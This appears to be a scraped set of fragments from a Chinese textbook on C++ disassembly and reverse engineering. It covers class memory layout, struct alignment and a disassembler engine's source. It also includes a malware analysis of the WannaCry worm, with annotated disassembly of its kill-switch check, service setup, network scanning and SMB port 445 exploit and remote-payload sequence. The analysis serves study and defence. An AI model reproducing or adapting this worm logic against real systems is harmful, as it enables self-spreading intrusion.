    {"text": "在“人”这个类中如关羽、张飞等都是独立存在的实体可被看作“人”这个类中的实体对象。 人 → 类、结构抽象的概念 关羽 → 实例对象实际存在的事物 由于类是抽象概念当两个类的特征相同时它们之间就是相等的关系。"},
    {"text": "代码清单9-1 类与对象的关系C++源码 //C++源码 #include <stdio.h> class Person { //Person为抽象类名称如同“人”这个名称 public: Person() { age = 18; height = 180; } int getAge() { //类成员函数如人类的行为吃、喝、睡等 return age; } int getHeight() { return height; } private: int age; //类数据成员如人类的身高、体重等 int height; }; int main(int argc, char* argv[]) { Person person; return 0; } 代码清单9-1中定义了自定义类型Person类以及该类的实例对象person。"},
    {"text": "整型变量的数据大小为4字节使用class关键字的自定义类型如何分配各数据成员呢我们下面调试运行代码清单9-1分析对象person的各成员在内存中的布局如图9-1所示。"},
    {"text": "图9-1 对象内存布局 在图9-1中对象person在内存中的地址为0x00D3FAA0该地址处定义了对象person的各个数据成员分别存放在地址0x00D3FAA0与0x00D3FAA4处。"},
    {"text": "为什么在类中不能定义自身的对象呢这是因为类需要在申请内存的过程中计算出自身的大小以用于实例化。 如果在类中定义了自身的对象在计算各数据成员的长度时又会回到自身这样就形成了递归定义而这个递归并没有出口是一个无限循环的递归定义所以不能定义自身对象作为类成员。"},
    {"text": "但是自身类型的指针除外因为任何类型的指针在32位下占用的内存大小始终为4字节64位下占8个字节等同于一个常量值因此将其作为类的数据成员不会影响长度的计算。"},
    {"text": "对象长度=sizeof数据成员1+sizeof数据成员2+…+sizeof数据成员n 这个公式是否正确呢 从表面上看这个公式没有问题但对象的大小计算远没有这么简单。"},
    {"text": "1. 空类 空类中没有任何数据成员按照该公式计算得出的对象长度为0字节。 类型长度为0则此类的对象不占内存空间。 而实际情况是空类的长度为1字节。"},
    {"text": "2. 内存对齐 在C++中类和结构体中的数据成员是根据它们出现的顺序依次申请内存空间的。 由于内存对齐的原因它们并不一定会像数组那样连续地排列由于数据类型不同占用的内存空间大小也会不同在申请内存时会遵守一定的规则。 在为结构体和类中的数据成员分配内存时结构体中当前数据成员类型的长度为M指定的对齐值为N那么实际对齐值为q = min(M, N)成员的地址安排在q的倍数上代码如下所示。 struct stTest{ short s; //应占2字节内存空间假设所在地址为0x010FFB64 int n; //应占4字节内存空间 }; 数据成员s的地址为0x010FFB64类型为short占2字节内存空间。 C++中通常指定的对齐值默认为8short的长度为2实际对齐值取两者较小者即2。"},
    {"text": "接下来轮到为第二个数据成员分配内存了如果分配在s后第二个数据成员应在地址0x010FFB66处但第二个数据成员为int类型占4字节内存空间与指定的对齐值进行比较后实际对齐值取int类型的长度4而地址0x010FFB66不是4的倍数需要插入两个字节填充以满足对齐条件因此第二个数据成员被定义在地址0x010FFB68处如图9-2所示。"},
    {"text": "如果按照C++默认的8字节对齐那么结构体的整体大小要能被8整除代码如下所示。 struct{ double d; //所在地址0x0012FF00~0x0012FF08之间占8字节 int n; //所在地址0x0012FF08~0x0012FF0C之间占4字节 short s; //所在地址0x0012FF0C~0x0012FF10之间占2字节 }; 上例中结构体成员的总长度为8+4+2=14按默认的对齐值设置要求结构体的整体大小要能被8整除于是编译器在最后一个成员s所占内存之后加入2字节空间填补到整个结构体中使总大小变为8+4+2+2=16这样就满足了对齐的要求。"},
    {"text": "struct{ char c; //应占1字节内存空间如所在地址为0x0012FF00 int n; //应占4字节内存空间 short s; //应占2字节内存空间 }; 以上结构如果还是按照8字节的方式对齐布局格式如下所示。 c 所在地址0x0012FF00~0x0012FF04之间占4字节对齐n n 所在地址0x0012FF04~0x0012FF08之间占4字节 s 所在地址0x0012FF08~0x0012FF0C之间占2字节另外填充2字节 随后定义的数据成员s应该使用6字节的空数据对齐。"},
    {"text": "#pragma pack(1) struct{ char c; // 应占1字节内存空间 int n; // 应占4字节内存空间 short s; // 应占2字节内存空间 }; 调整对齐值后根据对齐规则在分配n时无须插入空白数据。 对齐值为1n占4字节大小很明显使用pack设定的对齐值更小因此采用对齐值1的倍数计算分配内存空间的首地址n紧靠在c之后即可这样c只占用1字节内存空间。 因为设定的对齐值小于、等于结构体中所有数据成员的类型长度所以结构总长度只要是1的倍数即可。"},
    {"text": "对齐值的计算流程就是将设定的对齐值与结构体中最大的基本类型数据成员的长度进行比较取两者之间的较小者。 当结构体中以数组作为成员时计算对齐值是根据数组元素的长度而不是数组的整体大小代码如下所示。"},
    {"text": "struct { char c; //应占1字节内存空间如所在地址为0x0012FF00 char ary[4]; //应占4字节内存空间 short s; //应占2字节内存空间 }; 按照对齐规定c与ary的对齐没有缝隙无须插入空白数据当ary与s进行对齐时c与ary在内存中将会占5字节此时按照结构中当前的数据类型short进行对齐插入1字节的数据结构布局如下所示。 c 所在地址0x0012FF00~0x0012FF01之间占1字节 ary[4] 所在地址0x0012FF01~0x0012FF06之间占5字节 s 所在地址0x0012FF06~0x0012FF08之间占2字节 根据结构体中的各数据成员类型可知最大类型的数据成员s占2字节其余成员类型各为1字节。 在默认的编译选项下对齐值为8而s长度为2因此会按照short类型的长度2字节进行对齐此时结构的大小为8字节无须填入字节即可满足要求。"},
    {"text": "当结构体中出现结构体类型的数据成员时不会将嵌套的结构体类型的整体长度加入对齐值计算中而是以嵌套定义的结构体使用的对齐值进行对齐代码如下所示。"},
    {"text": "struct sstOne{ char c; //占1字节内存空间 char ary[4]; //占5字节内存空间 short s; //占2字节内存空间 }; struct stTwo{ int n; //占4字节内存空间 stOne one; //占8字节内存空间 }; 在以上结构中虽然stOne结构占8字节但由于其对齐值为2因此stTwo结构体中的最大类型便是int以4作为对齐值。"},
    {"text": "因为存在内存对齐数据的布局变化多端所以在分析结构体和类的数据成员布局时不能单纯地参考各数据成员的类型长度按顺序进行排列而应该按上述方法仔细观察和分析。"},
    {"text": "当对象为全局对象时其内存布局与局部对象相同只是所在内存地址以及构造函数和析构函数的触发时机不同。 全局对象所在的内存地址空间为全局数据区而局部对象的内存地址空间在栈中。"},
    {"text": "了解了类中数据成员的内存布局后如何访问它们呢在类方法中又是如何知道数据成员在内存中的地址以及其中的数据信息呢带着这些疑问我们进入9.2节的学习了解神秘的this指针。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） Table of Contents 版权页 目录 赞誉 序一 序二 序三 前言 第一部分 准备工作 第1章 熟悉工作环境和相关工具 1.1 安装Visual Studio 2019 1.2 安装GCC 1.3 调试工具OllyDbg 1.4 调试工具x64dbg 1.5 调试工具WinDbg 1.6 反汇编静态分析工具IDA 1.7 反汇编引擎的工作原理 1.8 本章小结 第二部分 C++反汇编揭秘 第2章 基本数据类型的表现形式 2.1 整数类型 2.1.1 无符号整数 2.1.2 有符号整数 2.2 浮点数类型 2.2.1 浮点数的编码方式 2.2.2 基本的浮点数指令 2.3 字符和字符串 2.3.1 字符的编码 2.3.2 字符串的存储方式 2.4 布尔类型 2.5 地址、指针和引用 2.5.1 指针和地址的区别 2.5.2 各类型指针的工作方式 2.5.3 引用 2.6 常量 2.6.1 常量的定义 2.6.2 #define和const的区别 2.7 本章小结 第3章 认识启动函数找到用户入口 3.1 程序的真正入口 3.2 了解VS2019的启动函数 3.3 main函数的识别 3.4 本章小结 第4章 观察各种表达式的求值过程 4.1 算术运算和赋值 4.1.1 各种算术运算的工作形式 4.1.2 算术结果溢出 4.1.3 自增和自减 4.2 关系运算和逻辑运算 4.2.1 关系运算和条件跳转的对应 4.2.2 表达式短路 4.2.3 条件表达式 4.3 位运算 4.4 编译器使用的优化技巧 4.4.1 流水线优化规则 4.4.2 分支优化规则 4.4.3 高速缓存优化规则 4.5 一次算法逆向之旅 4.6 本章小结 第5章 流程控制语句的识别 5.1 if语句 5.2 if…else…语句 5.3 用if构成的多分支流程 5.4 switch的真相 5.5 难以构成跳转表的switch 5.6 降低判定树的高度 5.7 do、while、for的比较 5.8 编译器对循环结构的优化 5.9 本章小结 第6章 函数的工作原理 6.1 栈帧的形成和关闭 6.2 各种调用方式的考察 6.3 使用ebp或esp寻址 6.4 函数的参数 6.5 函数的返回值 6.6 x64调用约定 6.7 本章小结 第7章 变量在内存中的位置和访问方式 7.1 全局变量和局部变量的区别 7.2 局部静态变量的工作方式 7.3 堆变量 7.4 本章小结 第8章 数组和指针的寻址 8.1 数组在函数内 8.2 数组作为参数 8.3 数组作为返回值 8.4 下标寻址和指针寻址 8.5 多维数组 8.6 存放指针类型数据的数组 8.7 指向数组的指针变量 8.8 函数指针 8.9 本章小结 第9章 结构体和类 9.1 对象的内存布局 9.2 this指针 9.3 静态数据成员 9.4 对象作为函数参数 9.5 对象作为返回值 9.6 本章小结 第10章 构造函数和析构函数 10.1 构造函数的出现时机 10.2 每个对象是否都有默认的构造函数 10.3 析构函数的出现时机 10.4 本章小结 第11章 虚函数 11.1 虚函数的机制 11.2 虚函数的识别 11.3 本章小结 第12章 从内存角度看继承和多重继承 12.1 识别类和类之间的关系 12.2 多重继承 12.3 抽象类 12.4 虚继承 12.5 本章小结 第13章 异常处理 13.1 异常处理的相关知识 13.2 异常类型为基本数据类型的处理流程 13.3 异常类型为对象的处理流程 13.4 识别异常处理 13.5 x64异常处理 13.5.1 RUNTIME_FUNCTION结构 13.5.2 UNWIND_INFO结构 13.5.3 UNWIND_CODE结构 13.5.4 特定于语言的处理程序 13.5.5 x64 FuncInfo的变化 13.5.6 还原x64的try…catch 13.6 本章小结 第三部分 逆向分析技术应用 第14章 PEiD的工作原理分析 14.1 开发环境的识别 14.2 开发环境的伪造 14.3 本章小结 第15章 调试器OllyDbg的工作原理分析 15.1 INT3断点 15.2 内存断点 15.3 硬件断点 15.4 异常处理机制 15.5 加载调试程序 15.6 本章小结 第16章 大灰狼远控木马逆向分析 16.1 调试环境配置 16.2 病毒程序初步分析 16.3 启动过程分析 16.4 通信协议分析 16.5 远控功能分析 16.6 本章小结 第17章 WannaCry勒索病毒逆向分析 17.1 tasksche.exe勒索程序逆向分析 17.1.1 病毒初始化 17.1.2 加载病毒核心代码 17.1.3 病毒核心代码 17.2 mssecsvc.exe蠕虫程序逆向分析 17.2.1 蠕虫病毒代码初始化 17.2.2 发送漏洞攻击代码 17.3 永恒之蓝MS17-010漏洞原理分析 17.3.1 漏洞1利用分析 17.3.2 漏洞2利用分析 17.3.3 漏洞3利用分析 17.4 本章小结 第18章 反汇编代码的重建与编译 18.1 重建反汇编代码 18.2 编译重建后的反汇编代码 18.3 本章小结 参考文献"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.7 反汇编引擎的工作原理 通过以上的例子相信读者已经发现OllyDbg和IDA都有一个很重要的功能反汇编。"},
    {"text": "2. Opcode指令操作码 Opcode是机器码中的操作符部分用来说明指令语句执行什么操作比如说明某条汇编语句是MOV、JMP还是CALL。 Opcode是汇编指令语句必不可少的组成部分解析Opcode也是反汇编引擎的主要工作。 汇编指令助记符与Opcode是一一对应的关系。 每一条汇编指令助记符都会对应一条Opcode但由于操作数类型不同所占长度也不相同因此对于非单字节指令来说解析一条汇编指令单凭Opcode是不够的想要完整地解析出汇编信息还需要Mode R/M、SIB、Displacement的帮助。 3. Mode R/M操作数类型 Mode R/M的作用是辅助Opcode解释汇编指令助记符后面的操作数类型。"},
    {"text": "图1-36 Mode R/M结构 4. SIB辅助Mode R/M计算地址偏移 SIB的寻址方式为基址+变址如MOV EAX,DWORD PTR DS:[EBX+ECX*2]其中的ECX、乘数2都是由SIB指定的。 SIB的结构如图1-37所示SIB占1字节第0、1、2位用于指定作为基址的寄存器第3、4、5位用于指定作为变址的寄存器第6、7位用于指定乘数由于只有两位因此可以表示4种状态这4种状态分别表示乘数为1、2、4、8。 图1-37 SIB结构 5. Displacement辅助Mode R/M计算地址偏移 Displacement用于辅助SIB如MOV EAX,DWORD PTR DS:[EBX+ECX*2+3]这条指令其中“+3”是由Displacement指定的。"},
    {"text": "代码清单1-2 Proview的源码片段 // 机器码解析函数 /* DISASSEMBLY 结构说明 typedef struct Decoded { char Assembly[256]; // 汇编指令信息 char Remarks[256]; // 汇编指令说明信息 char Opcode[30]; // Opcode信息 DWORD Address; // 当前指令地址 BYTE OpcodeSize; // Opcode长度 BYTE PrefixSize; // 指令前缀长度 } DISASSEMBLY; */ void Decode(DISASSEMBLY *Disasm, char *Opcode, DWORD *Index) { /* 源码中函数说明信息略 源码中变量局部定义略 */ // 机器码格式分析略 // 判断是否符合Opcode格式Op为参数Opcode[0]项 switch(Op) // 分析Op对应的机器码 { // 部分PUSH指令分析机器码信息对照图1-2 case 0x68: // 方式1PUSH 4字节内存地址信息 { // 判断寄存器指令前缀 if(RegPrefix == 0) { // PUSH 指令后按4字节方式解释 // 如当前机器码为6800304000 // 因为在内存中为小尾方式排序所以取出内容需要重新排列数据 // 此函数对指令地址加1偏移到00304000处将其排序为00403000 // 提取出的机器指令存放在dwOp中 // 转换后的地址信息保存在dwMem中 SwapDword((BYTE *) (Opcode + i + 1), &dwOp, &dwMem); // 将机器指令信息转换为汇编指令信息 wsprintf(menemonic, push %08X\",dwMem); // 保存汇编指令语句到Disasm结构中用于返回 lstrcat(Disasm->Assembly, menemonic); // 组装机器码信息用空格将指令码与操作数分离 wsprintf(menemonic, 68 %08X\",dwOp); // 将机器码信息保存到Disasm结构中用于返回 lstrcat(Disasm->Opcode, menemonic); // 设置指令要占用的内存空间 Disasm->OpcodeSize = 5; // 设置指令前缀长度 Disasm->PrefixSize = PrefixesSize; // 对当前分析指令地址下标加4字节偏移量 (*Index) += 4; } else{ // PUSH指令后按2字节方式解释 // 解析机器码与以上代码相同 SwapWord((BYTE *) (Opcode + i + 1), &wOp, &wMem); // 按2字节解释操作数 \"push %04X\" wsprintf(menemonic, \"push %04X\", wMem); lstrcat(Disasm->Assembly, menemonic); // 按2字节解释操作数\"push %04X\" wsprintf(menemonic, \"68 %04X\", wOp); lstrcat(Disasm->Opcode, menemonic); // 设置指令长度 Disasm->OpcodeSize = 3; // 设置指令前缀长度 Disasm->PrefixSize = PrefixesSize; // 对当前分析指令地址下标加2字节偏移量 (*Index) += 2; } } break; case 0x6A: // 方式2PUSH指令的操作数是小于等于1字节的立即数 { // 有符号数判断负数处理 if((BYTE) Opcode[i + 1] >= 0x80){ // 负数在内存中为补码用0x100-补码得回原码 // \"push -%02X\"中对原码加负号 wsprintf(menemonic, \"push -%02X\", (0x100 - (BYTE) Opcode[i + 1])); } // 有符号数判断正数处理 else{ // 正数直接转换 wsprintf(menemonic, \"push %02X\", (BYTE) Opcode[i + 1]); } // 保存汇编指令语句 lstrcat(Disasm->Assembly, menemonic); // 组装机器码信息 wsprintf(menemonic, \"6A%02X\", (BYTE) * (Opcode + i + 1)); // 保存机器码信息 lstrcat(Disasm->Opcode, menemonic); // 设置指令长度与指令前缀长度 Disasm->OpcodeSize = 2; Disasm->PrefixSize = PrefixesSize; // 对当前分析指令地址下标加2字节偏移量 ++(*Index); } break; } // 机器码格式分析略 代码清单1-2中省略了其他机器码的解析过程只列举了汇编助记符PUSH的两种指令方式。"},
    {"text": "代码清单1-3 使用反汇编引擎解析机器码 // 假设此字符数组为机器指令编码 unsigned char szAsmData[] = { 0x6A, 0x00, // PUSH 00 0x68,0x00,0x30,0x40,0x00, // PUSH 00403000 0x50, // PUSH EAX 0x51, // PUSH ECX 0x52, // PUSH EDX 0x53 // PUSH EBX }; char szCode[256] = {0}; // 存放汇编指令信息 unsigned int nIndex = 0; // 每条机器指令的长度用于地址偏移 unsigned int nLen = 0; // 分析机器码总长度 unsigned char *pCode = szAsmData; // 获取分析机器码长度 nLen = sizeof(szAsmData); while (nLen) { // 检查是否超出分析范围 if (nLen < nIndex) { break; } // 修改 pCode 偏移 pCode += nIndex; // 解析机器码此函数实现见代码清单1-4 // 参数一 pCode 分析机器码首地址 // 参数二 szCode 返回值保存解析后的汇编指令语句信息 // 参数三 nIndex 返回值保存机器码指令的长度 // 由于参数四是模拟机器码没有对应代码地址因此传入0 Decode2Asm(pCode, szCode, &nIndex, 0); // 显示汇编指令 puts(szCode); memset(szCode, 0, sizeof(szCode)); } 通过函数Decode2Asm启动反汇编引擎Proview通过代码清单1-3中的分析流程解析出对应汇编指令语句代码并输出。"},
    {"text": "代码清单1-4 Decode2Asm实现流程 void stdcall Decode2Asm(IN PBYTE pCodeEntry, // 分析Opcode地址无符号字符型指针 OUT char* strAsmCode, // 传出值保存汇编指令的语句信息OUT UINT* pnCodeSize, // 传出值保存机器码指令的大小UINT nAddress) // 分析机器码所在地址 { DISASSEMBLY Disasm; // 此结构信息见代码清单1-3 // 保存Opcode指针用于传递函数参数 char *Linear = (char *)pCodeEntry; // 初始化指令长度 DWORD Index = 0; // 设置机器码所在地址 Disasm.Address = nAddress; // 初始化Disasm FlushDecoded(&Disasm); // 调用Decode进行机器码分析 Decode(&Disasm, Linear, &Index); // 保存汇编指令语句信息 strcpy(strAsmCode, Disasm.Assembly); // 组装汇编语句的字符串从参数strAsmCode返回信息 if(strstr((char *)Disasm.Opcode, \":\")) { Disasm.OpcodeSize++; char ch =' '; strncat(strAsmCode,&ch,sizeof(char)); } strcat(strAsmCode,Disasm.Remarks); *pnCodeSize = Disasm.OpcodeSize; FlushDecoded(&Disasm); return; } 代码清单1-4对汇编引擎Proview的使用进行了封装以简化Decode函数的调用过程方便使用者调用。"},
    {"text": "更多关于汇编指令及其对应机器码的信息请参考Intel的指令帮助手册读者可在Intel的官方网站下载最新版的帮助手册 https://software.intel.com/en-us/articles/intel-sdm 。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 2.7 本章小结 计算机的工作流程归根结底是输入→处理→输出的过程而数据正是被处理的对象。作为逆向工作者需要正确考察数据。对数据的考察有以下两点。 1. 在何处 数据是代码加工处理的对象而代码本身也是以二进制形式存放的对于处理器而言代码的本质也是数据。我们在分析的时候会看到不同指令对数据的处理这时首先要确定数据的存储位置对于内存中的数据要查看地址。有了内存地址才能得到内存属性。我们需要了解的属性有可读、可写、可执行。藉此可以知道此数据是否为变量可读写、是否为常量只读、是否为代码可执行等。除了知道属性以外我们还可以考察进程在内存的布局如栈区、堆区、全局区、代码区等藉此又可以知道数据的作用域。 到底是代码还是数据程序员认为是代码那就是代码程序员认为是数据那就是数据。其中滋味留待读者在后面的学习中逐步体会。 2. 如何解释 得到了内存地址还是无法得到数据的正确内容因为缺少解释方式。如“无鸡鸭也可无鱼肉也可无银钱也可”可以解释为“无鸡鸭也可无鱼肉也可无银钱也可。”也可以解释为“无鸡鸭也可无鱼肉也可无银钱也可。” 本章归纳的各类数据的解释方式和特点是我们学习后面内容的基础读者应重点掌握。下面补充介绍一下“大尾方式”和“小尾方式”。 这两种方式又分别称为“大端方式”和“小端方式”出自某个西方童话内容大意是有个小人国争论吃鸡蛋的时候应该是先把鸡蛋的大头敲开还是应该先把小头敲开为此国内引发了激烈的讨论最后导致国家分裂、爆发战争在这场战争中国王和一些大臣丧命。 计算机的数据存储也是这样的道理如果约定了存储的顺序大家就都能正确写入和读出了没必要在意当初为什么制定这样的存储顺序。制定字节存储顺序的人可能就是想避免别人问他为什么选择这个方向故以此典故封堵闲人之口。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 17.2 mssecsvc.exe蠕虫程序逆向分析 蠕虫病毒是一种常见的计算机病毒是无须计算机使用者干预即可运行的独立程序它通过获取网络中存在漏洞的计算机部分或全部控制权进行传播。"},
    {"text": "17.2.1 蠕虫病毒代码初始化 蠕虫病毒代码初始化如代码清单17-11所示。 代码清单17-11 蠕虫病毒代码初始化片段1 WinMain函数代码实现 .text:0040814A mov esi, offset aHttpWwwIuqerfs ;域名\"http://www.iuqerfsodp9ifjaposdfjhgosuri\" .text:00408171 push eax ; dwFlags .text:00408172 push eax ; lpszProxyBypass .text:00408173 push eax ; lpszProxy .text:00408174 push 1 ; dwAccessType .text:00408176 push eax ; lpszAgent .text:00408177 mov [esp+6Ch+var_1], al .text:0040817B call ds:InternetOpenA ; 初始化winnetr函数 .text:00408181 push 0 ; dwContext .text:00408183 push 84000000h ; dwFlags .text:00408188 push 0 ; dwHeadersLength .text:0040818A lea ecx, [esp+64h+szUrl] .text:0040818E mov esi, eax .text:00408190 push 0 ; lpszHeaders .text:00408192 push ecx ; lpszUrl .text:00408193 push esi ; hInternet .text:00408194 call ds:InternetOpenUrlA ; 访问域名 .text:0040819A mov edi, eax .text:0040819C push esi ; hInternet .text:0040819D mov esi, ds:InternetCloseHandle .text:004081A3 test edi, edi .text:004081A5 jnz short loc_4081BC ; 访问成功放弃病毒感染 .text:004081A7 call esi ; InternetCloseHandle .text:004081A9 push 0 ; hInternet .text:004081AB call esi ; InternetCloseHandle .text:004081AD call being 如代码清单17-11所示病毒访问“ http://www.iuqerfsodp9ifjaposdfjhgosuri ”域名如果该域名访问成功则放弃感染。"},
    {"text": "代码清单17-12 蠕虫病毒代码初始化片段2 being函数代码实现 .text:00408090 sub esp, 10h .text:00408093 push 104h ; nSize .text:00408098 push offset FileName ; lpFilename .text:0040809D push 0 ; hModule .text:0040809F call ds:GetModuleFileNameA .text:004080A5 call ds:__p___argc ; 获取命令行参数数量 .text:004080AB cmp dword ptr [eax], 2 .text:004080AE jge short loc_4080B9 .text:004080B0 call create_and_start_service ; argc<2创建启动服务 .text:004080B5 add esp, 10h .text:004080B8 retn .text:004080B9 push edi .text:004080BA push 0F003Fh ; dwDesiredAccess .text:004080BF push 0 ; lpDatabaseName .text:004080C1 push 0 ; lpMachineName .text:004080C3 call ds:OpenSCManagerA ; 打开服务管理开启 .text:004080C9 mov edi, eax .text:004080CB test edi, edi .text:004080CD jz short loc_408101 .text:004080CF push ebx .text:004080D0 push esi .text:004080D1 push 0F01FFh ; dwDesiredAccess .text:004080D6 push offset ServiceName ; \"mssecsvc2.0\" .text:004080DB push edi ; hSCManager .text:004080DC call ds:OpenServiceA ; 打开mssecsvc2.0服务 .text:00408101 lea eax, [esp+14h+ServiceStartTable] .text:00408105 mov [esp+14h], offset ServiceName ; \"mssecsvc2.0\" .text:0040810D push eax ; lpServiceStartTable .text:0040810E mov [esp+18h], offset service_main .text:00408116 mov [esp+18h+var_8], 0 .text:0040811E mov [esp+18h+var_4], 0 .text:00408126 call ds:StartServiceCtrlDispatcherA ; 启动mssecsvc2.0服务 如代码清单17-13所示在create_and_start_service函数中首先创建mssecsvc2.0服务并启动接下来从资源中释放tasksche.exe勒索程序并启动。"},
    {"text": "代码清单17-14 漏洞攻击代码片段1 service_entry函数代码实现 .text:00407BD0 call init_payload ; 初始化payload .text:00407BE4 push 0 .text:00407BE6 push 0 .text:00407BE8 push 0 .text:00407BEA push offset scan_lan ; 线程回调函数 .text:00407BEF push 0 .text:00407BF1 push 0 .text:00407BF3 call edi ; _beginthreadex创建线程扫描局域网利用漏洞传播病毒 .text:00407C0D push 0 .text:00407C0F push 0 .text:00407C11 push esi .text:00407C12 push offset scan_wan ; 线程回调函数 .text:00407C17 push 0 .text:00407C19 push 0 .text:00407C1B call edi ; _beginthreadex创建线程扫描广域网利用漏洞传播病毒 如代码清单17-14所示病毒首先初始化payload接下来创建2个线程执行利用漏洞传播病毒的代码。"},
    {"text": "代码清单17-15 漏洞攻击代码片段2 init_payload函数代码实现 .text:00407A2C push offset unk_50D800 ; dwBytes .text:00407A31 push 40h ; uFlags .text:00407A33 mov [esp+20h+NumberOfBytesRead], 0 .text:00407A3B mov [esp+20h+var_8], 0 .text:00407A43 mov [esp+20h+var_4], 0 .text:00407A4B call esi ; GlobalAlloc ; 申请堆内存 .text:00407A5D push offset unk_50D800 ; dwBytes .text:00407A62 push 40h ; uFlags .text:00407A64 call esi ; GlobalAlloc ; 申请内存 .text:00407A66 test eax, eax .text:00407A68 mov dword ptr FileName+108h, eax .text:00407A6D jnz short loc_407A84 .text:00407A6F mov eax, dword ptr FileName+104h .text:00407A74 push eax ; hMem .text:00407A75 call ds:GlobalFree .text:00407A84 xor edx, edx .text:00407A86 test edx, edx .text:00407A88 mov esi, offset payload_x86 ; 获取32位payload .text:00407A8D jz short loc_407A94 .text:00407A8F mov esi, offset payload_x64 ; 获取64位payload .text:00407A94 mov eax, edx .text:00407A96 mov edi, dword ptr FileName+104h[edx*4] .text:00407A9D neg eax .text:00407A9F sbb eax, eax .text:00407AA1 mov [esp+edx*4+18h+var_8], edi .text:00407AA5 and eax, 8844h .text:00407AAA add eax, 4060h .text:00407AAF mov ecx, eax .text:00407AB1 mov ebx, ecx .text:00407AB3 shr ecx, 2 .text:00407AB6 rep movsd .text:00407AB8 mov ecx, ebx .text:00407ABA and ecx, 3 .text:00407ABD rep movsb ; memcpy 加载payload到堆空间 病毒通常会做一些有害或者恶意的动作在病毒代码中实现这个功能的部分叫作有效负载payload。"},
    {"text": "代码清单17-16 漏洞攻击代码片段3 payload函数代码实现 .text:00000001800011A4 sub rsp, 28h .text:00000001800011A8 lea r9, aMssecsvcExe ; \"mssecsvc.exe\" .text:00000001800011AF lea r8, aWindows ; \"WINDOWS\" .text:00000001800011B6 lea rdx, Format ; \"C:\\\\%s\\\\%s\" .text:00000001800011BD lea rcx, Dest ; Dest .text:00000001800011C4 call sprintf ; 格式化蠕虫路径C:\\\\WINDOWS\\\\mssecsvc.exe .text:00000001800011C9 call release_file_mssecsvc ; 从资源释放蠕虫程序 .text:00000001800011CE call create_process ; 创建进程执行代码 .text:00000001800011D3 xor eax, eax .text:00000001800011D5 add rsp, 28h .text:00000001800011D9 retn 如代码清单17-16所示有效负载代码从资源中释放蠕虫代码并且执行。"},
    {"text": "代码清单17-17 漏洞攻击代码片段4 scan_lan函数代码实现 .text:004076B6 call check_smb_service ; 检测SMB协议是否开启 .text:004076C2 push 0 .text:004076C4 push 0 .text:004076C6 push esi .text:004076C7 push offset start_attack ; 线程回调函数 .text:004076CC push 0 .text:004076CE push 0 .text:004076D0 call ds:_beginthreadex ; 创建线程执行漏洞攻击代码 check_smb_service函数代码实现 .text:004074A2 push 445 ; hostshort .text:004074A7 mov word ptr [esp+12Ch+name.sa_data+0Ch], ax .text:004074AC mov [esp+12Ch+argp], edi .text:004074B0 mov dword ptr [esp+12Ch+name.sa_data+2], ecx .text:004074B4 mov [esp+12Ch+name.sa_family], 2 .text:004074BB call htons ; 转换端口445 .text:004074C0 push 6 ; protocol .text:004074C2 push edi ; type .text:004074C3 push 2 ; af .text:004074C5 mov word ptr [esp+134h+name.sa_data], ax .text:004074CA call socket ; 创建socket .text:004074E1 lea edx, [esp+128h+argp] .text:004074E5 push edx ; argp .text:004074E6 push 8004667Eh ; cmd .text:004074EB push esi ; s .text:004074EC call ioctlsocket ; 设置socket选项 .text:004074F1 lea eax, [esp+128h+name] .text:004074F5 push 10h ; namelen .text:004074F7 push eax ; name .text:004074F8 push esi ; s .text:004074F9 mov [esp+134h+writefds.fd_array], esi .text:004074FD mov [esp+134h+writefds.fd_count], edi .text:00407501 mov [esp+134h+timeout.tv_sec], edi .text:00407505 mov [esp+134h+timeout.tv_usec], 0 .text:0040750D call connect ; 连接服务器 .text:00407512 lea ecx, [esp+128h+timeout] .text:00407516 lea edx, [esp+128h+writefds] .text:0040751A push ecx ; timeout .text:0040751B push 0 ; exceptfds .text:0040751D push edx ; writefds .text:0040751E push 0 ; readfds .text:00407520 push 0 ; nfds .text:00407522 call select ; 检测服务器445端口是否开启 .text:00407527 push esi ; s .text:00407528 mov edi, eax .text:0040752A call closesocket ; 关闭socket start_attack函数代码实现 .text:00407564 push 10h ; Count .text:00407566 push eax ; in .text:00407567 call inet_ntoa .text:0040756C lea ecx, [esp+110h+Dest] .text:00407570 push eax ; Source .text:00407571 push ecx ; Dest .text:00407572 call ds:strncpy ; 复制攻击服务器地址 .text:00407578 lea edx, [esp+118h+Dest] .text:0040757C push 445 ; hostshort .text:00407581 push edx ; cp .text:00407582 call exploit_1 ; 第一轮发包攻击 .text:00407596 push 3000 ; dwMilliseconds .text:0040759B call esi ; Sleep延时3秒 .text:0040759D push 445 ; hostshort .text:004075A2 lea eax, [esp+110h+Dest] .text:004075A6 push 1 ; int .text:004075A8 push eax ; cp .text:004075A9 call upload_payload ; 上传有效负载代码 .text:004075AE add esp, 0Ch .text:004075B1 test eax, eax .text:004075B3 jnz short loc_4075D4 .text:004075B5 push 3000 ; dwMilliseconds .text:004075BA call esi ; Sleep 延时3秒 .text:004075BC lea ecx, [esp+10Ch+Dest] .text:004075C0 push 445 ; hostshort .text:004075C5 push ecx ; cp .text:004075C6 call exploit_2 ; 第二轮发包攻击 .text:004075CB add esp, 8 .text:004075CE inc edi .text:004075CF cmp edi, 5 .text:004075D2 jl short loc_407596 ;循环 .text:004075D4 push 3000 ; dwMilliseconds .text:004075D9 call esi ; Sleep 延时3秒 .text:004075DB push 445 ; hostshort .text:004075E0 lea edx, [esp+110h+Dest] .text:004075E4 push 1 ; int .text:004075E6 push edx ; cp .text:004075E7 call upload_payload ; 上传有效负载代码 .text:004075EC add esp, 0Ch .text:004075EF test eax, eax .text:004075F1 pop edi .text:004075F2 pop esi .text:004075F3 jz short loc_407609 .text:004075F5 push 445 ; hostshort .text:004075FA lea eax, [esp+108h+Dest] .text:004075FE push 1 ; int .text:00407600 push eax ; cp .text:00407601 call run_payload ; 远程执行有效负载代码 .text:00407606 add esp, 0Ch 如代码清单17-17所示病毒首先检测SMB协议的445端口是否开启如果开启则发送SMB协议漏洞攻击代码。"},
